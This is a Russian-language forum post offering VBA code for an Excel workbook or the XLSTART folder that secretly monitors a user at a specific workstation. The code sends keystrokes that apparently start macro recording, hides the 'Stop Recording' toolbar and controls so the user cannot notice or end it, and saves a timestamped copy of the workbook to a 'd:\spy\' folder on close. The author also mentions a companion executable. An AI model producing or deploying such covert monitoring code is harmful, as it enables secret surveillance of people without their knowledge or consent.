Не совсем к первому вопросу автора но зато к следующему.
Очень далеко от идеала, но на конкретном рабочем месте работать будет. И еще - это далеко не единственно - возможная реализация, а уж возможностей просто миллион.
Вот этот код в книгу (либо за которой нужно следить, либо в XLSTART скопировать свою).
- Код: Выделить всё
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Workbook_Activate()
ActiveWorkbook.Application.SendKeys "%tvy"
Sleep 700
Dim cm As CommandBar
Dim cmc As CommandBarControl
For Each cm In Application.CommandBars
If cm.Name = "Stop Recording" Then cm.Visible = False: cm.Enabled = False
For Each cmc In cm.Controls
If cmc.Caption = "Остановить запись" Or cmc.TooltipText = "Остановить запись" Then cmc.Visible = False: cmc.Enabled = False
Next
Next
End Sub
Private Sub Workbook_BeforeClose(Cancel As Boolean)
ActiveWorkbook.SaveCopyAs "d:\spy\" & "rm_" & Day(Date) & "_" & Month(Date) & "_" & Year(Date) & "_" & Hour(Time) & "_" & Minute(Time) & "_" & Second(Time)
End Sub
Private Sub Workbook_Open()
Application.IgnoreRemoteRequests = False
End Sub
Exeшник нужно запустить и держать включенным до открытия книги
Кстати кто-то тут недавно искал как менять заголовок у нового офисного документа
Прошу сильно не ругать - знаю что криво, но пригодится может
